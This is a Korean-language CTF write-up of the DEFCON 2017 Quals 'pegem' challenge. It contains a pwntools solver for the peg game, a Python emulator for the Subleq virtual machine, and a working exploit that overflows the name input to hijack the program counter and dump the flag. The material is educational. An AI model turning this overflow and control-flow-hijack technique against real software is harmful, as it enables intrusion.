[DEFCON 2017] - pegem

DEFCON 2017 Quals - pegem

데프콘 2017 리버싱 엔지니어링 문제 pegem 풀이.

데프콘 예선 당시에는 "crackme" 들을 푼다고 사실상 포기하고 나중에 답만 보려 한 문제였는데 ctftime.org/writeups에도 안 올라오길래 기다리다 그냥 풀어보았다.

[+] 사실 푸는데 3일 이상 걸린 건 비밀입니다... ㅠㅠㅠㅠ 

[+] 문노익(서빈)이는 보자마자 문제 의도 파악해버리셔따 .... 

---

source git : https://github.com/ddddhkim/CTFs/tree/master/DEFCON/DEFCON2017_Quals/REV/pegem

하나하나 자세하게 정리하기에는 글이 너무 길어지니 간단한 건 미리 요약해두고 가겠습니다.

1. 64 bit elf binary.  - file 명령어로 확인 가능

2. 간단한 고전 게임 "peg game". - 실행 시 확인 가능

3. 15번을 이겨야 된다.  - 실행 시 확인 가능

4. 5초 안에 입력 해야됨.  - signal 함수

5. Subleq instruction 하나로 구성 된 one instruction.  - 함수 이름이 힌트

6. 취약한 서비스를 찾아야 됨.  - IDA - String 검색 

7. 6번의 유니코드 스트링이 위치한 곳이 서버 바이너리의 flag 위치. - 결과적으로는 주어진 바이너리와 서버의 바이너리는 다름.

One Instruction - (https://esolangs.org/wiki/Subleq)

[+] 간략하게 풀어 놓았기 때문에 궁금한 점이나 틀린 부분이 있다면 블로그 하단의 정보를 통해 contact 해주십시오. :D

[+] 특히 소스를 저만 알아볼 수 있도록 더럽게 짜놓아서 알아보기 힘드실 수 있습니당 데헤헷 

바이너리를 실행해보면 다음과 같다.

ddddh@ubuntu:~/Desktop/pegem$ ./pegem 

Ye old peg game.

Jump pegs by sending the source peg (ie: F), and destination space (ie: a) followed by a newline

Capital letters are pegs, lower-case letters are spaces

Win 15 times and you can call yourself the master of the peg game

    a

   B C

  D E F

 G H I J

K L M N O

Your move (q to quit): ddddh

Invalid Source

처음 주어진 "peg board" 중에서 소문자 문자는 하나다. 친절하게 설명문 대로 "Fa"를 입력하면 위치가 바뀐다.

ddddh@ubuntu:~/Desktop/pegem$ ./pegem 

Ye old peg game.

Jump pegs by sending the source peg (ie: F), and destination space (ie: a) followed by a newline

Capital letters are pegs, lower-case letters are spaces

Win 15 times and you can call yourself the master of the peg game

    a

   B C

  D E F

 G H I J

K L M N O

Your move (q to quit): Fa

    A

   B c

  D E f

 G H I J

K L M N O

Your move (q to quit): Too Slow

위치가 바뀌면서 사이에 있던 문자들도 소문자로 바뀐다. 게임을 이기는 조건은 주어진 문자들을 모두 소문자로 바꿔주어야 하는 것 같다.

일단 바로 "python - peg game"에 관한 모듈이 있는지 구글 신 님께 검색했고 다행히 어떤 친절하신 분(lukesneeringer)께서 "peg game solver"를 만들어 놓으셨다.

[+] peg gmae solver (https://github.com/lukesneeringer/peggame)

필요한 소스는 "jason.py"으로 설명까지 주석으로 친절히 달아 놓으셨다. > ㅁ<

peg board 좌표를 어떤 식으로 입력해야 되는지 알았으니 "jason.py"를 약간 수정하고 소스를 짜주면 된다.

from pwn import *
import os
import jason
 
 
peg_board = [["k","g","d","b","a"],["l","h","e","c"],["m","i","f"],["n","j"],["o"]]
binary = "/home/ddddh/Desktop/pegem/pegem"
 
def find_peg(board):
    for x in board:
        for row in range(0, 5):
            for col in range(0, len(peg_board[row])):
                if x == peg_board[row][col]: return row, col
 
 
def make_move(row, col):
    print "row :", row
    print "col :", col
    fw = open(r"./solve/%d%d" % (row, col), "w")
    puzzle = jason.Puzzle(row, col)
    solution = puzzle.solve()
 
    #"""Move a peg and remove the jumped peg"""
    for move in solution.history:
        # get move values
        x = move.x
        y = move.y
        d = move.direction
 
        # move forward
        if d == 1:
            dx = x + 2
            dy = y
 
        # move back
        elif d == 2:
            dx = x - 2
            dy = y
        
        # move up
        elif d == 3:
            dx = x
            dy = y + 2
 
        # move down
        elif d == 4:
            dx = x
            dy = y - 2
        
        # move down and forward
        elif d == 5:
            dx = x + 2
            dy = y - 2
 
        # move up and back
        elif d == 6:
            dx = x - 2
            dy = y + 2
 
        #print peg_board[x][y].upper()+peg_board[dx][dy]
        fw.write(peg_board[x][y].upper()+peg_board[dx][dy]+"\n")
    fw.close()
 
 
 
if __name__ == "__main__":
 
    process = process(binary)
 
    print process.recvuntil("game\n")
    for game in range(15):
        board = ""
 
        for x in range(6):
            board += process.recvline().replace(" ","").replace("\n", "").strip()             
 
        board = board.replace("Gameover.Pegsremaining1.Greatjob!", "")
        print "[%02d game]Board :" % (game+1), board
        row, col = find_peg(board)
 
        if os.path.exists(r"./solve/%d%d" % (row, col)) == True:
            fr = open(r"./solve/%d%d" % (row, col), "r")
            while True:
                line = fr.readline()
                if not line: break
                process.send(line)
                input____.write(line)
                for x in range(5): process.recvline()
            fr.close()
        else :
            make_move(row, col)
            break
 
    print process.recvuntil("Tell us your name:")
    
    name = cyclic(0x125)
    process.sendline(name)

    print process.recvuntil("Done")

소스를 간략히 설명하자면 "pegem"바이너리의 보드들을 가져와 답을 구하는 소스다. ( 15번 돌려야 되는 건 비밀 )

ddddh@ubuntu:~/Desktop/pegem$ python exploit.py 

[+] Starting local process '/home/ddddh/Desktop/pegem/pegem': pid 43746

Ye old peg game.

Jump pegs by sending the source peg (ie: F), and destination space (ie: a) followed by a newline

Capital letters are pegs, lower-case letters are spaces

Win 15 times and you can call yourself the master of the peg game

[01 game]Board : aBCDEFGHIJKLMNO

[02 game]Board : AbCDEFGHIJKLMNO

[03 game]Board : ABcDEFGHIJKLMNO

[04 game]Board : ABCdEFGHIJKLMNO

[05 game]Board : ABCDeFGHIJKLMNO

[06 game]Board : ABCDEfGHIJKLMNO

[07 game]Board : ABCDEFgHIJKLMNO

[08 game]Board : ABCDEFGhIJKLMNO

[09 game]Board : ABCDEFGHiJKLMNO

[10 game]Board : ABCDEFGHIjKLMNO

[11 game]Board : ABCDEFGHIJkLMNO

[12 game]Board : ABCDEFGHIJKlMNO

[13 game]Board : ABCDEFGHIJKLmNO

[14 game]Board : ABCDEFGHIJKLMnO

[15 game]Board : ABCDEFGHIJKLMNo

Game over.  Pegs remaining 1.  Great job!

Tell us your name:

[*] Process '/home/ddddh/Desktop/pegem/pegem' stopped with exit code 0 (pid 43746)

 Congrats aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaabzaacbaaccaacdaaceaacfaacgaachaaciaacjaackaaclaacmaacnaacoaacpaacqaacraacsaactaacuaacvaacwaacx, you won all 15 combinations

Done

15 게임을 통과하게 되면 "Tell us your name:"이 출력되며 입력 값을 받는데 이곳에서 취약점이 터진다.

여기서 시간을 엄청 잡아먹었다... 멍청해서 ㅜㅜ

간단한 bof 취약점이길 빌며 입력 값을 하나씩 증가시켰지만 불행히 입력 길이가 0x125를 넘어가는 순간 에러만 뜬다. ( Segfalut 아님 ㅜㅜ)

할 수 없이 더 자세히 분석하기 위해 파이썬 코드로 구현을 했다.

import struct
import ctypes
 
 
# switch is bool.
global stdin 
global switch
 
 
def getc():
    global stdin 
    global switch
 
    if stdin[:2] == "\x40\x3f": 
        print "------------------------------------------"
        switch = True
 
    enter = stdin[0]
    stdin = stdin[1:]
 
#    print enter
    return ord(enter)
 
 
if __name__ == "__main__":
    global stdin
    global switch
 
    switch = False
 
    # read prog data 
    prog = open(r"prog", "rb").read()
 
    # Set Prog Memory  
    mem = []
    for x in range(len(prog)/2):
        index = x*2
        mem.append(struct.unpack("<H", prog[index:index+2])[0])
 
    # Set operand & pc
    operand_A = 0
    operand_B = 0
    operand_C = 0
    pc = 0
 
    stdin = open(r"input", "rb").read()
 
    puts = ""
    #SubleqExecute
    while True:
        if pc >= 0x8000: 
            print repr(puts)
            print "DONE!"
            dump = open(r"dump", "wb")
            for x in mem:
                dump.write(struct.pack("<H",x))
            dump.close() 
            break
 
        operand_A = mem[pc] & 0xffff
        operand_B = mem[pc+1] & 0xffff
        operand_C = mem[pc+2] & 0xffff
 
        if operand_A == 0xffff and operand_B == 0xffff:
            print "IO Fault"
            break
 
        if operand_A == 0xffff:
        #    print puts
            puts = ""
            mem[operand_B] = getc()
        #    raw_input()
        #    if switch == True: raw_input()
 
            if mem[operand_B] > 0: pc += 3
            else: pc = operand_C
 
        else :
            if operand_B == 0xffff:
                if switch == True: 
                    print "[pc] :", hex(pc), hex(operand_A)
                #    raw_input()    
                #print "[pc] :", hex(pc), hex(operand_A)
                #raw_input()            
 
                puts += struct.pack(">H", mem[operand_A])[1]
                if switch == True: 
                    print puts
                    raw_input()
                    #dump = open(r"dump", "wb")
                    #for x in mem:
                    #    print hex(x)
                    #    dump.write(struct.pack("<h",x))
                    #dump.close() 
 
                #    raw_input()
                pc += 3
 
            else :
                if operand_A < 0x8000 and operand_B < 0x8000:
                    if switch == True:
                        print "%04x - %04x == %4x -> pc : " % (mem[operand_B] & 0xffff, mem[operand_A] & 0xffff, (mem[operand_B] - mem[operand_A]) & 0xffff),
                    mem[operand_B] = ctypes.c_short((mem[operand_B] - mem[operand_A]) & 0xffff).value
                    if mem[operand_B] > 0: pc += 3
                    else: pc = operand_C
                    #print hex(pc)
 
                    if switch == True: 
                        print hex(pc)
                        print "%04x - %04x - %04x" % (operand_A, operand_B, operand_C)

3개의 오퍼랜드로 구성된 One instruction이라 소스 구현은 쉬웠다.

구현한 소스를 통해 필요한 순간순간 메모리 값을 출력할 수 있었고 덤프를 뜰 수 있었다.

[*] prog 는 one instruction 에서 사용되는 메모리.

[*] stdin 파일은 15게임 입력 값.

원하는 메모리 값들을 확인하면서 분석한 결과 어떠한 조건을 충족시키면 이름의 길이가 0x125 를 초과해 0x126이 되는 순간 pc의 값이 0x126의 값으로 바뀐다.

입력 값은 Prog Data의 offset 0x164 부터 적재되는데 오버플로우 되면서 오퍼랜드의 값으로 쓰일 데이터를 덮어버린다.

입력 값 0x124 ~ 0x126이 operand 3개 (operand A, operand B, operand C) 의 값으로 들어가면서 "memory[B] - memory[A]"의 결과가 0보다 크면 pc가 C의 값으로 셋팅된다. 

결과적으로는 pc를 컨트롤 할 수 있게 되었고 "THE FLAG WILL BE HERE..." 영역을 출력해주면 된다.

payload를 생각해보면 다음과 같다.

1. 입력 값은 유니코드 형식으로 입력 받음.

2. memory[0xb2] 부터 입력 받음. (word로 계산.)

3. 오버플로우로 pc 제어 가능.

4. operand B의 값이 0xffff면  putchar() 를 사용해 memeory[operand A]의 값출력.

5. 빼기(Sub) 연산 가능.

빼기 연산만 가능하기 때문에 flag가 담겨있는 메모리 범위를 지정해 역으로 하나씩 출력해주면 된다.

from pwn import *
 
process = process('./pegem')
 
stdin = open(r"stdin", "rb").read()
 
process.send(stdin)
process.recvuntil('your name: ')
 
def one_instruction(A, B, C): return (chr(A) + chr(B) + chr(C))
 
# prog offset 
# b2 b3 b4 |putchar
# b5 b6 b7 |loop
# b8 b9 ba |set putchar B = 0xffff
# bb bc bd |sub -1
# be bf c0 |jmp
 
#putchar, if B = 0xffff: putchar(mem[A]), pc += 3
payload = one_instruction(0x40, 0x3f, 0x41)
 
#loop, if mem[B] -= mem[A] >= 0: pc = C(0xbb)
payload += one_instruction(0x00, 0x00, 0xbb)
 
#set putchar B = 0xffff
payload += one_instruction(0xb2, 0xb3, 0xbb)
 
#sub -1, mem[B] -= mem[A]
payload += one_instruction(0xbd, 0xb2, 0x01)
 
#jmp
payload += one_instruction(0x00, 0xb3, 0xb2)
 
#overflow dummy set
payload += "\x00" * (0x123 - len(payload))
 
#overflow
payload += one_instruction(0x00, 0x00, 0xb8)
 
process.sendline(payload)
flag = process.recvall().replace("\x00", "").replace("\x0a", "")[::-1]
 
print "Flag : ", flag
 
'''
ddddh@ubuntu:~/Desktop/pegem$ python solver.py 
[+] Starting local process './pegem': pid 44334
[+] Receiving all data: Done (79B)
[*] Process './pegem' stopped with exit code 0 (pid 44334)
Flag :  sserdda dilavnInTHE FLAG WILL BE HERE IN THE VULNERABLE SERVICE

'''
 

[+] 궁금한 점, 잘못된 점이 있으실 경우 블로그 하단의 정보를 통해 부담없이 연락 주세요 :D